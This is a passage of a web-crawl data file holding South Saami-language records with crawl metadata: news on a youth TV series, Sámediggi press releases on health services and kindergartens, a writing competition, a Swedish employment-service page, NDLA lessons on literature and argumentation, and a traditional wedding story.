dåeriedibie dehtie raejeste dïhte lea jeenjemes \"stoerresiebriedahkenöörjen\" goske garmeres åarjelsaemien nïejtine sjædta nænnoes domtesigujmie dan aerpievuekien jieliedasse bovtsigujmie.\n–Raajroe lea ektiedimmien jïh identiteeten bïjre jïh jeenjesh jïjtjemse damtijieh. Daate raajroe lij maahteme rïektes jieliedistie årrodh, juktie raajroe lea dan tsiehkien bïjre mesnie jeenjesh leah, produsente Rune Johansen jeahta.\n–Joekoen vihkeles raajroe\nProduksjovne daehtie åarjelsaemien noere-tv-raajroste lea laavenjostoe gaskem TMM produksjoner AS, NRK Super jïh NRK Sápmi. Ånnetji nedte-premijeeren åvtelen TMM produksjoneren biejjieladtje åvtehke Hans Petter Sundal jïh produsente Dag Rune Johansen vaaksjoejigan NRK Sápmim Karasjohkesne. Doh maehteles tv-produsenth daelie tv-premijeerese aavoedieh.\n–Mijjieh raajrojne barkeme ovrehte göökte jaepieh daelie jïh minngemes jaepien libie produksjovnine barkeme. Mijjese daate lea produksjovne mij ij dan stoerre dïenestem vedtieh, men tuhtjebe joekoen luste dam darjodh. Ij leah mijjen voestes åarjelsaemien raajroe. Mijjieh dorjeme Laara jïh Leisa aarebi, jïh tuhtjebe daate stoerre mïelem vadta, Hans Petter Sundal jeahta, produsente Sööfe-raajrosne jïh biejjieladtje åvtehke sïeltesne TMM produksjoner.\nDan stoerre mïelem vadta åarjelsaemien noere-tv:m darjodh guktie libie haestiemidie dallah vaalteme.\n- Gosse castingem utnebe dellie joekoen vaenie almetjh mah leah meatan dan åvteste ij leah dan jeenjesh mah åarjelsaemien haalvoeh. Men gosse dam jeahteme, dellie dah mah leah meatan raajrosne joekoen væjkele jïh mijjieh joekoen madtjeles, Sundal jeahta.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/samimag.no\/sma\/content\/soofe-nrk-superasse-baata-goeven-0","date":"2019-12-13T06:42:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540548544.83\/warc\/CC-MAIN-20191213043650-20191213071650-00521.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":396,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie vuajna daerpies saemien healsoebarkijh leah maereleslaakan årganiseradamme dovne nasjonaale jïh voenges sijjesne. Minngemes våhkoen Saemiedigkien stoerretjåanghkoe jeehti dagkerh faageviermieh tseegkedh byöroe saemien jarngedajvine prioriteradidh. Åarjelsaemien dajvesne saemien healsoebarkijh leah jïjtjemse årganiseradamme jïh dah sijhtieh prosjekth tjïrrehtidh mah edtjieh seammavyörtegsvoetem faalehtidh healsoedïenesji sisnjeli. Gosse faagebyjresh jïh viermieh tseegkesuvvieh saemien jarngedajvine, dellie seammavyörtegs healsoedïenesjefaalenassh sijhtieh saemien siebriedahken daerpiesvoeth våaroeminie utnedh.\n– Mijjieh vuejnebe dovne aalkoehealsoedïenesjen jïh sjïerehealsoedïenesjen leah stoerre haestemh gosse edtjieh seammavyörtegs healsoedïenesjh saemien årroejidie faalehtidh. Julevsaemien healsoebarkijh lin byöreme lïeredh destie maam åarjelsaemien dajvesne dorjeme jïh plearoeh viermiem darjodh, Mikkelsen jeahta.\nSaemiedigkie jïh Healsoe Noerhte aktine stuerebe evtiedimmieprosjektine barkeminie, mij edtja saemien nasjonaale healsoedïenesjh soejkesjidh. Akte vihkeles premisse prosjektesne lea saemien healsoebarkijh fååtesieh. Seamma tïjjen Hábmeren tjïelte tseegkesåvva, gusnie doh seamma haestemh sijhtieh sjyöhtehke årrodh.\nMikkelsen jeahta akte haesteme saemien healsoebarkijh fååtesieh, jïh dan åvteste tjuara hoksedh dejtie maereleslaakan jïh fleksijbelelaakan nuhtjedh.\n– Saemien healsoebarkijh tjuerieh jïjtjh meatan årrodh premisside dïsse bïejedh, dan åvteste dah sijhtieh vihkeles årrodh seammavyörtegs healsoedïenesjh buektiehtidh. Gosse prosesside måjhtele mej uvte dovne nasjonaale jïh voenges sijjesne tjåadtjobe, dellie julevsaemien healsoebarkijh lin byöreme viermiem tseegkedh mij maahta dåarjojne jïh premissedeallahtæjjine årrodh.\nMikkelsen jienebh struktuvrh jïh mierieh sijhtieh saemien healsoen sïjse jïh laavenjostose aavode julevsaemien healsoeviermine.\n– Mijjieh jienebh struktuvrh saemien healsoedïenesji bïjre daarpesjibie, jïh julevsaemien healsoeviermie sæjhta maahtoem buektedh maam aaj Saemiedigkien bieleste daarpesjibie. Saemiedigkien bieleste stoerretjåanghkoe lea tjïelkelaakan jeahteme mijjieh tjoerebe jienebh viermieh tseegkedh jïh Saemiedigkieraerien bieleste edtjebe dejnie guhkiebasse barkedh, Mikkelsen minngemosth jeahta.\nJis gihtjehtimmiem sïjhth gaskesadth Mikkel Eskil Mikkelsen, mob. +47 917 42 161.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Julevsaemien-healsoeviermiem-saejhta","date":"2019-12-08T12:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540510336.29\/warc\/CC-MAIN-20191208122818-20191208150818-00041.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":245,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Daate eensi aavoe-aamhtese! Romsan tjïelte lea saemiengïeleldh maanagïertefaalenassem staaresne vijriedamme, jïh jienebh maanah sijhtieh maanagïertefaalenassem åadtjodh mij saemien gïelem jïh kultuvrem våaroeminie åtna. Gosse orre saemien goevtese lea tseegkesovveme Sjømannsbyen maanagïertesne daelie, dellie saemien maanagïertefaalenasse jïh faagebyjrese sijhtieh nænnoesåbpoe sjïdtedh, akte geerjene saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nSjømannsbyen maanagïerte lea tjïelten maanagïerte Romsan tjïeltesne njieljie goevtesigujmie. Maanagïerte rïhpesti 2016 aktine jïjtse saemien maanagïertine, men mænngan dam saemien goevtesem tseegki dellie varke vueptiestin lij daerpies jienebi saemiengïeleldh maanagïertesijjiejgujmie.\nJuktie daerpiesvoetem illedh jienebi saemien maanagïertesijjiejgujmie Romsan tjïelte nænnoesti aktem vihth saemien goevtesem maanagïertesne tseegkedh, jïh daan tjaktjen raejeste göökte saemien goevtesh maanagïertesne orreme. Saemien goevtesh edtjieh saemien gïelem, kultuvrem jïh jieledevuekiem gorredidh, jïh goevtesi leah saamastallije barkijh.\n– Joekoen sjollehke vuejnedh daej golme jaepiej saemien maanagïertesijjieh læssanamme njieljie sijjijste 24 sijjide, Mikkelsen jeahta.\n200.000 kråvnah dåårje prosjektese dåarjoeöörnegistie Dåarjoe prosjektide jïh evtiedimmiebarkose maanagïertine.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, tell. +47 917 42 161, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoe-orre-maanagiertegoevtesasse-Romsesne","date":"2019-12-13T20:50:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540569146.17\/warc\/CC-MAIN-20191213202639-20191213230639-00177.warc.gz","language":"sma","language_score":0.9999294281,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999294281005859}","num_words":151,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaaltije lea åarjelsaemien gïelejarnge mij Staaresne tseegkeme. Erika Unnes Gaaltijisnie barka jïh daan jaepien edtja «Luste tjaeledh» öörnedh. «Luste tjaeledh» lea akte tjaaleme-gaahtjeme mij Gaaltije öörnie dan åvteste Gaaltije sæjhta vielie teeksth åarjelsaemiengïelesne åadtjodh.\nDaan jaepien 2019 lea Aalkoealmetjegïeli gaskenasjonaale jaepie – IYIL 2019. Gaaltije sæjhta daam lutnjedh jïh dannasinie Gaaltije ussjede gærjam åarjelsaemiengïelesne tjaeledh. Gærjan sisvege lea ovmessieh teeksth mejtie noerh jïh geervh åarjelsaemien siebriedahkesne leah tjaaleme.\nErika Unnes jeahta daan tjaaleme-gaahtjemen aamhtese lea «Saepmie: goh dajve, sijjie, deahpadimmie, faantasije, veadta, mojhtesh, båetije biejjieh jallh maahtoe. Jeahta maahta dam aamhtesem «Saepmie» ovmessieh vuekine guarhkedh, jïh Gaaltije sæjhta gåabpatjahkh åenehksh jïh guhkies teeksth åadtjodh.\n-Sïjhtebe daaletje teeksth åadtjodh, maahta vaajese, mojhtesh jallh tjihtese årrodh. Sïjhtebe gellieh ovmessieh teeksth åadtjodh, juktie hov gellieh almetjh teeksth v.g. datovresne jallh biejjiegærjesne utnieh. Daejtie teekstide sïjhtebe lutnjedh juktie gïelem nænnoestidh. Onterdibie gieltegs orre teeksth jïjtjen gïelesne lohkedh mejtie eah leah aarebi bæjjoehtamme, Erika Unnes jeahta.\nTjaaleme-gaahtjeme njieljie ovmessieh klaassh åtna: Teeksth åarjelsaemiengïelesne noereste jïh geerveste, jïh teeksth daaroengïelesne noereste jïh geerveste. Erika jeahta Gaaltije aaj sæjhta aktem heevehtimmiem vedtedh giese lea uvtemes teekste tjaaleme. Jeahta maahta aaj daaroengïelesne tjaeledh, juktie Gaaltije åarjelsaemiengïelese jarkoste.\nMinngemosth Erika Unnes jeahta rahka 30.biejjien minngemes biejjie teekstem seedtedh. Aaj jeahta lea akte jury mij edtja teekstide veeljedh jïh heevehtimmiem vedtedh. Erika jeahta vielie bïevnesh «Luste tjaeledh» bïjre Gaaltijen nehtesæjrosne jïh facebook-sæjrosne gååvnesieh.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/rorosnytt.no\/luste-tjaeledh-lea-gaaltijen-urremes-barkoe-daelie-gaaltije-saejhta-teekstide-aadtjodh\/","date":"2019-12-16T05:27:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00497.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":220,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien stoerretjåanghkoe lea aamhtesem evtiedimmien jïh årganiseradimmien bïjre saemien sjïerehealsoedïenesjijstie gïetedamme evteben våhkoen.\nAamhtesen våarome lea staateles åejvieladtjh leah Healsoe Noerhte DHG:em stilleme aktem strategeles guhkiebasse evtiedimmiem sjïerehealsoedïenesjijstie saemien årroejidie gorredidh. Saemiedigkie lea madtjeles daate barkoe lea aalkeme. Daan barkoen tjïrrh staateles åejvieladtjh jååhkesjieh saemiej leah sjïere daerpiesvoeth jïh jïjtsh vuajnoeh jïjtsh healsoen bïjre mah krievieh healsoesuerkie lea sjïehtedamme saemiej gïelese, kultuvrese jïh siebriedahkejieliedasse.\nDaelie saemien healsoeinstitusjovnh, dovne ekonomeles jïh årganisatovreles akten vueliegællan healsoesïelten nualan bïejesovveme, jïh gaertjiedamme tsevtsemefaamoem utnieh jïjtsh vierhtiej jïh jïjtsh stuvremen bijjeli. Saemiedigkie meala tjïelke saemien jïjtje- jïh meatannænnoestimmie tjuara gorresovvedh dejnie stuvrije årgaanine jïh gosse healsoedïenesjh saemien skïemtjijidie soejkesje, hammode jïh årganiserede.\n– Dïhte bijjemes årganisasjovnestruktuvre tjuara byjhkesjidh saemiej lea reakta jïjtjenænnoestæmman. Tjuara reaktam jïjtjenænnoestæmman hammoedimmesne, stuvremisnie jïh gïehtjedimmesne våaroemasse bïejedh gosse edtja healsoedïenesjh saemien skïemtjijidie sjïehteladtedh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nSaemiedigkie veanhta daerpies lïhkebe vuartasjidh guktie byöroe saemien healsoedïenesjh årganiseradidh, guktie saemien healsoedïenejsh faalenassine sjidtieh saemien skïemtjijidie abpe laantesne.\n– Tjoerebe healsoesïeltemodellese vuartasjidh. Maereles årganiseradimmie sjïerehealsoedïenesjijstie edtja bijjemes njieptjesne gorredidh gaajhkh saemieh dejtie dïenesjidie åadtjoeh mejtie krïevenassem utnieh, Mikkelsen jeahta.\nSaemiedigkie veanhta iktedimmie saemien faagevierhtijste lea vihkeles biehkie daennie barkosne. Byöroe saemien faageviermiem tseegkedh tjïelteraasti jïh sjïerehealsoedïenesjh dåaresth mij saemien skïemtjijh bæjjese fulkieh.\nMikkelsen aaj tjïerteste vaenie saemien faagealmetjh gååvnesieh. Saemieh årganisasjovnehammoeh daarpesjieh guktie maahta saemien faagealmetjh nuhtjedh dan fleksijbelelaakan goh gåarede.\n– Daerpies ellieslaakan jïh bijjemes ussjedidh årganiseradimmien bïjre sjierehealsoedienesjijstie saemien årroejidie juktie maehtedh saemien skïemtjijidie buerebe jïh elliesåbpoe dïenesjh vedtedh mah saemien gïelem jïh kultuvrem våaroeminie utnieh, Mikkelsen jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, mob. +47 917 42 161.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daerpies-veelebe-vuartasjidh-guktie-byoeroe-saemien-healsoedienesjh-aarganiseradidh","date":"2019-12-08T12:46:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540510336.29\/warc\/CC-MAIN-20191208122818-20191208150818-00011.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":258,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme Barkoedorjehtimmese\nMijjen stööremes barkoe barkoeohtsijem jïh barkoevedtijem ektiedidh? Mijjieh desnie gusnie daerpies, abpe laantesne. Gaajhkh mijjen faaleldahkh leah åesehts. Daesnie bïevnesh mijjen faaleldahki bïjre gaavnh.\nSyökh barkoem Sijjiebankesne\nSijjiebankesne joekehth barkoeh gaavnoes. Tjaelieh mejnie sïjhth barkedh jïh gusnie Sveerjesne sïjhth barkedh. Tjaelieh dejtie dov maahtojde jïh dååjrehtimmide, jïh dle sjiehteles barkoeh jijhtieh, mij dov profijline sjiehtieh.\nBïeljelh jis barkoem ohtsh\nSeamma biejjien goh datne barkoegapth sjïdteme, dle tjoerh mijjiem bïeljelidh. Dle maahta a-kassam syökedh, jïh mijjieh datnem viehkiehtibie barkoem gaavnedh. Nuhtjh mijjen websæjroem, jïh tjaelieh daase e-legitimasjovnine. Seamma aejkien goh syökh, dle aaj tjåanghkoem mijjine dongkh.\nBïeljelh dejtie dov darjoemidie\nGosse leah barkoegapth, dle edtjh fïerhten asken mijjiem bïeljelidh magkerh barkoeh syökeme jïh maam jïjtje dorjeme barkoem gaavnedh. Vihkeles guktie edtjh rïektes dåarjegh jïh ööhpehtimmiem åadtjodh, jïh datne edtjh rïektes dåarjegh åadtjodh. Aelhkemes dåarjegidie websæjrosne tjaelielidh.\nEkonomeles dåarjegh a-kasseste\nGosse barkoegapth dle maahtah reaktam utnedh dåarjegh a- kasseste åadtjodh. Man jïjnjem åadtjah jïh man guhkiem, ryöknesåvva mennie tsiehkesne datne.\nBïeljelh mijjiem\nGaahpode: måanta- bearjadahke 8-17\nGosse mijjine bïeljelidh dle maahtah toelhkem åadtjodh jis daerpies jih\/jallh maehtebe sijjiem jih tïjjem åvtelen dangkodh.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/arbetsformedlingen.se\/other-languages\/oarjelsaemien-giele-sydsamiska","date":"2019-12-06T15:45:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540488870.33\/warc\/CC-MAIN-20191206145958-20191206173958-00313.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":182,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie teemesne åadtjoeh saemien lidteratuvri bïjre lïeredh boelhkeste 1965 åvtelen. Dah båarasommes teeksth mah gååvnesieh leah vuelieh jallh joejkeme-teeksth mah boelveste boelvese jåhteme. Jeenjemes daejstie teektsijste hearrah tjaaleme.\nMij heannadi tïjjen 1965 åvtelen?\nGosse edtjebe tjaalegh boelhkeste 1965 åvtelen lohkedh jïh guarkedh, dellie hijven daejredh mij heannadi Saepmesne jïh aaj siebriedahkesne.\nDah voestes teeksth mah åehpies leah joejkeme-teeksth. Saemieh aelkieh tjiehpieslidteratuvren-tjaalegh tjaeledh jïh voestes romaane jaepien 1910 trygkesovvi. Maehtebe jiehtedh tjaalegh jïh gærjah leah nasjonaale-romatihkeles tjaalegh, jïh illedahkh daaroedehteme-politihkeste.\nDaaroedehteme-politihke\nDaennie boelhkesne siebriedahken våajnoe saemiej bïjre jarkese. Daaroeh aerebi tuhtjin saemieh lin ovsåahtan jïh goh maanah dåemiedin, jïh eelkin saemide ålkoestidh. Nöörjen staate guhkiem saemiej vööste nåakelaakan dåemiedi, jïh guhkiem 1900-låhkoen aktem garre \"daaroedehteme-politihkem\" stuvri. Rïektesisnie dle daate politihke edtji saemien kultuvrem tjelmiehtidh jïh våålese diedtedh, joekoen viehkine saemide nyöjhkedh jïjtsh gïelem skuvlesne nuhtjedh. men læjhkan aalkoevisnie 1900-låhkoen saemieh Nöörjen jïh Svöörjen bielesne eelkin årganisasjovnh tseegkedh jïh saemien lidteratuvre aaj jarkese.\nLaavenjassh: Don aejkien vaarjoej bïjreKjernestoff\nLaavenjassh: Tïjjen 1965 åvtelenKjernestoff\nLaavenjassh: Biejjie-baernieKjernestoff\nLaavenjassh: Johan Turin tjaalegidieKjernestoff\nTjaelieh ussjeden tjaalegemKjernestoff\nLaavenjasse Elsa Laulan bïjreKjernestoff\nLaavenjassh Elsan håalemasseKjernestoff\nÅehpiedehtieh saemien-faageles teemamKjernestoff\nLaavenjassh: GuldnasasKjernestoff\nLaavenjassh: Såångedidh jïh pruvredhKjernestoff\nMåersie faavroeKjernestoff\nSoelege jih nåejtieKjernestoff\nDon aejkien vaarjoej bïjreKjernestoff\nBiejjie-baernien såangoeKjernestoff\nBiejjie-niejten sealadimmieKjernestoff\nVaajese juvri bïjreKjernestoff\nMaana-sujhtemen bïjreKjernestoff\nSaemien tsiehkiej bïjreKjernestoff\nDej baaletje såangoeKjernestoff\nKaarre mij edtji vïjvem veeljedhKjernestoff\nSåångedimmie jïh hïejeKjernestoff\nÅenehks soptseshKjernestoff\nGuldnasasKjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189078","date":"2019-12-13T03:44:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540548537.21\/warc\/CC-MAIN-20191213020114-20191213044114-00179.warc.gz","language":"sma","language_score":0.9999895096,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999895095825195}","num_words":215,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hijven argumentasjovne-tjiehpiesvoeth lea nuhteligs utnedh dovne skuvlesne, barkosne, siebriedahkesne jïh privaate jieliedisnie. Datne dejtie daarpesjh gosse digkedeminie, gosse edtjh lahtestimmieh jïh barkoe-ohtsemh tjaeledh.\nArgumenteradidh\nGosse datne aktene tjaalegisnie argumenteredh dellie eensilaakan dov mïelem tjïelkesth jïh man åvteste. Datne tjoerh dov bagkesimmieh tjïelkestidh. Dov argumeente jïh dam maam jeahtah lohkijem viehkiehtieh guarkedh man åvteste argumeente hijven.\nArgumentereles tjaalegh edtjieh lohkijem man akt bïjre tsevtsedh jallh jaehkiehtidh. Gellien aejkien mijjieh ajve mijjen vuajnoen åvteste argumenteradibie jïh ajve argumeenth aktede bieleste aamhtesistie åehpiedehtebe. Men argumentereles tjaalege maahta ussjedammes sjïdtedh jis mijjieh dovne aamhtesen åvteste jïh vööste argumenteradibie.\nJis edtjebe hijven argumentereles tjaalegh tjaeledh dellie tjoerebe daajroem aamhtesen bïjre utnedh. Lissine tjoerebe daejredh guktie argumentereles tjaalegh tseegkedh juktie lohkijem jaehkiehtidh.\nJis edtjh væjkele sjïdtedh argumenteradidh, tjoerh haarjanidh. Lissine aaj nuhteligs ohtje daajroem utnedh teorijen bïjre guktie datne maahtah aajhtsedh guktie jeatjebh argumenteradieh.\nArgumentasjovneKjernestoff\nArgumentereles tjaaleghKjernestoff\nKrïevenassh rïektese-argumentasjovneKjernestoff\nRæhpas jïh tjeakoes argumentasjovneKjernestoff\nUssjedammesvoete jïh autoriteeteKjernestoff\nAppelle vuajnojde jïh domtesidieKjernestoff\nGïeleviehkie-vierhtiehKjernestoff\nAnalyse-goereKjernestoff\nSjeavohtsvoeten revolusjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/","date":"2019-12-11T20:19:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540532624.3\/warc\/CC-MAIN-20191211184309-20191211212309-00137.warc.gz","language":"sma","language_score":0.9999859333,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.999985933303833}","num_words":160,"character_repetition_ratio":0.117,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Argumentasjovne lea vuekie guktie maahtah ussjedidh jis sïjhth digkiedidh jallh argumenteradidh. Gosse dov aajkoe gïem akt tsevtsedh. Dellie maahtah ovmessie vuekine argumenteradidh guktie dov aajkoem kaanne jaksedh.\nGuktie argumenteradidh?\nVihkielommes argumentereles tjaaleginie lea argumentasjovne. Aajkoe lea dåastojem tsevtsedh. Gellien aejkien tjoerh gellie ovmessie argumenth nuhtjedh guktie aajkoem jaksedh.\nRyöktesth jïh gaahpoeh argumenth\nArgumentasjovne mij åehpies daejremen mietie jïh maam maehtebe vuarjasjidh, lea gaahpoeh jallh ryöktesth argumentasjovne. Daejremevoeten tjaaleginie daate argumentasjovne aelhkie guarkedh jïh vihkielommes juktie krïevebe argumenth edtjieh eensi jïh tjïelke årrodh.\nOv-ryöktesth jïh tjeakoes argumenth\nMijjieh jeenjemes gyhtjelassh digkiedibie. Akte gyhtjelasse vuesiehtimmien gaavhtan ovjuvre-politihke. Mijjieh maehtebe vierhtieh, vuajnoeh jïh aaj daejremem digkiedidh.\nDannasinie seedtije tjuara dovne jiermiem jïh vaajmoem tsevtsedh, appelleradidh. Seedtije sæjhta dov domtesh tsevtsedh. Ij leah man aelhkies tjeakoes argumenth vueptiestidh. Maehtebe seedtijen argumenth goerehtidh dejnie gyhtjelassigujmie:\n- seedtije sæjhta domtesh tsevtsedh?\n- mah gïeleldh viehkievierhtieh seedtije nuhtjie?\n- maam seedtije jeahta\/tjaala guktie dåastoje edtja dam jaehkedh?\nDam maam jeahta tjuara aaj maehtele jïh saatnan årrodh guktie mubpieh edtjieh satnem goltelidh jïh jaehkedh.\nLogose, etose jïh patose\nDah greekeladtjh mïelin håaloje sov goltelæjjah tsavtsa golme vuekine. Dah golme appelle-hammoeh dah gåhtjoejin logosem, etosem jïh patosem. Logose-appelle lea gaahpoeh argumentasjovne, fakta-argumeenth mejtie håaloje buakta. Etose jïh patose appelle-hammoeh mah tjeakoehkisnie: Etose jis håalojem jaehkebe, jïh patose domtesh mah håaloje sov goltelæjjine gååske jïh mïelide appellerade. Aelhkebe vuekine maehtebe jiehtedh, etose jïh patose ektesne tjeakoes argumentasjovne.\nBaakoeh\n|Saemien||Daaroen|\n|argumenteradidh||argumentere|\n|argumeente||argument|\n|argumenteles||argumenterende|\n|argumentasjovne||argumentasjon|\n|argumenteradimmie||argumentering|\n|argumenteradimmie-vuekie||måte å argumentere på|\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:163207","date":"2019-12-12T14:13:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540543850.90\/warc\/CC-MAIN-20191212130009-20191212154009-00281.warc.gz","language":"sma","language_score":0.9999927282,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999927282333374}","num_words":236,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Gåebrehki soptsesh maam Knut Bergsland tjaaleme. Gærja voestes aejkien trygkesovvi jaepien 1943 jïh mubpien aejkien jaepien 1987. Ella Holm Bull lea gærjam åarjel-saemien learoe-reaktoen mietie orresistie tjaaleme. Daate soptsese Julie Axmann soptsetamme jaepien 1941.\nSåångedimmie jïh hïeje\nGosse baernie galka såångedidh, dellie vaalta minngesne aktem gaarmanæjjam maam tuhtjie heavede såangoen åejjine. Gosse båateme dan sov voehpesassan jïh vuanavassan gåatan, dellie nïejtebe åvtesne meala gåessie galka båetedh, dah mah åvtesne latjkeme. Dïhte såangoen åejjie dan alvoes soptses, jïh galka aelkiestidh soptsestidh man dïere båateme. Jïh die jeahta: «Daate baernie dutnjien sjeahta vïjvine, jïh heavadieh badth tjåanghkan doh noere. Jïh die galkem jiehtedh streavere pååjke lea jïh maehtehtje ståvrine aaj årrodh, gosse ih datne båeries voehpe vielie beellh.» Dellie dïhte båeries voehpesassa jeahta: «Mov badth aaj nuhtegs nïejte, ij leah badth geervemes dïhte mij dam fihkie, men im sïjhth garmerdidh.» Dïhte båeries vuanavåbpoe gihtjie: «Mah dle saatnan soptsesth, gosse jeahtah streavere pååjke. Mijjieh daarpesjibie aktem mij maahta bovtsi luvnie vahkedh; seamma ihkie ij man jeenjem utnieh, gosse maahta barre bovtsem dåårrehtidh.»\nDellie badth gihtjin baerniem jïh nïejtem mah lea numhtie gelkieh såångedidh. Jïh dah jååhkesjin, numhtie badth dah ussjedin. Dellie latjkajin bööremes daelvege hïejem utnedh. Dellie bööremes astoe, jïh mubpieh estieh hïejese båetedh. Eah lin badth gaajhkesh dan latjkede. Tjeahta badth muvhtene såangoen åejjie jïh såangoe-baernie vuelkedh jïh jeatjh aejkien fryöjstedh båetedh, gosse dah voehpesassah vuanavassah meaktjeme.\nDaelvege hïeje sjædta. Dïhte såangkoen åejjie tjeahta minngesne dåeriedidh jïh hïejesne aaj voestegh tjiskesjidh soptsestalledh dej provre-almetji åvteste. Iehkeden åvtelen hïejem, dellie båatelieh dej mej guhkemes geajnoe. Dah mah lïhke, gelkieh aereden båetedh. Gaajhkh dan ov-nastesne. Provrese jïh provgomme gelkieh gaajhkesidie dåastoehtidh jïh bööredh gåatan, voestegh såågkesem fihkedh jïh die maksovh. Jïh die båata dïhte gie sovhpem (gaeriem) vadta.\nGosse gaajhkh fihkeme, dellie gelkieh gåårvedidh jïh vuelgedh gærhkose. Provlaepiem tjiehtieh voenesne hööltedh. Gærhkose vuejieh dååmpigujmie, voestegh provrese jïh provgomme, jïh die provr-pæjkah, jïh die gåabpegi aehtjieh tjidtjieh. Dellie dah göökte paarrh gaalletjh mah gelkieh dejtie noere-provresth dåeriedidh jïh lïhkemes årrodh. Jïh die vuejieh dah mah slïekth, lïhkemes slïekth voestegh, jïh die mubpieh minngielistie. Gosse gærhkoste gåetide vuejieh, dellie seamma leejne vuejieh.\nGosse provrese-gåatan båetieh, dellie jeenjesh ålkone jïh dåastoehtidh, jïh dïhte mij galka spealadidh gosse gelkieh jårredh, dïhte tjåadtjoeminie voestegh jïh spealedeminie gosse båetieh vuejien. Gaajhkesh voestegh prïhtjegem fihkieh jïh maksovh.\nDïhte provrese-buertie gogkoe provresh jïh lïhkemes slïekth tjahkasjidh, leah tseegkeme stoerre voejh. 